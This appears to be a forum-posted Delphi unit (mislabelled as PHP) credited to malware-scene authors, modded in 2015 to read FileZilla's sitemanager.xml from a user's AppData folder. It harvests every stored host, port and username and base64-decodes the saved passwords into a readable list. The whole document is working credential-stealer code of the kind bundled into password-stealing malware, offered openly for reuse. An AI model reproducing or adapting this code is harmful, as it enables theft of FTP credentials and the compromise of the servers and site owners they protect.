PHP Code:
(**************************************
Coded by GAKH
Credits: steve10120
www.ic0de.org
mod by zXuS/2015
**************************************)
// Mod for updated version of filezilla
// it now uses base64 and sitemanager.xml
// search for new string then decode it with EncdDecd
unit zXFileZilla;
interface
uses
Windows, SysUtils, Classes, EncdDecd, ShlObj;
function GetFileZilla : String;
implementation
function GetAppDataPath : String;
var
ppID: PItemIdList;
szBuff: array[0..255] of Char;
begin
if SHGetSpecialFolderLocation(0, CSIDL_APPDATA, ppID) = NOERROR then
begin
SHGetPathFromIDList(ppID, szBuff);
Result := szBuff;
end;
end;
function GetFileZilla : String;
var
LoadFile : TStringList;
DataFile : TStringList;
Host : String;
User : String;
Pass : String;
Pass2 : String;
Port : String;
begin
LoadFile := TStringList.Create;
DataFile := TStringList.Create;
if FileExists(GetAppDataPath + '\FileZilla\sitemanager.xml') then
begin
LoadFile.LoadFromFile(GetAppDataPath + '\FileZilla\sitemanager.xml');
while (Pos('<Host>', LoadFile.Text) <> 0) do
begin
// Hostname
Host := Copy(LoadFile.Text, Pos('<Host>', LoadFile.Text)+6, Length(LoadFile.Text));
Host := Copy(Host, 1, Pos('</Host>', Host)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<Host>', ' ', [rfIgnoreCase]);
//Username
User := Copy(LoadFile.Text, Pos('<User>', LoadFile.Text)+6, Length(LoadFile.Text));
User := Copy(User, 1, Pos('</User>', User)-1);
// Password
Pass := Copy(LoadFile.Text, Pos('<Pass encoding="base64">', LoadFile.Text)+24, Length(LoadFile.Text));
Pass := Copy(Pass, 1, Pos('</Pass>', Pass)-1);
// Port
Port := Copy(LoadFile.Text, Pos('<Port>', LoadFile.Text)+6, Length(LoadFile.Text));
Port := Copy(Port, 1, Pos('</Port>', Port)-1);
Pass2 := decodestring(pass);
DataFile.Add('Host: ' + Host + ' Port: ' + Port + ' User: ' + User + ' Pass: ' + Pass2);
end;
Result := DataFile.Text;
end else
Result := 'Not found or older version!';
end;
end.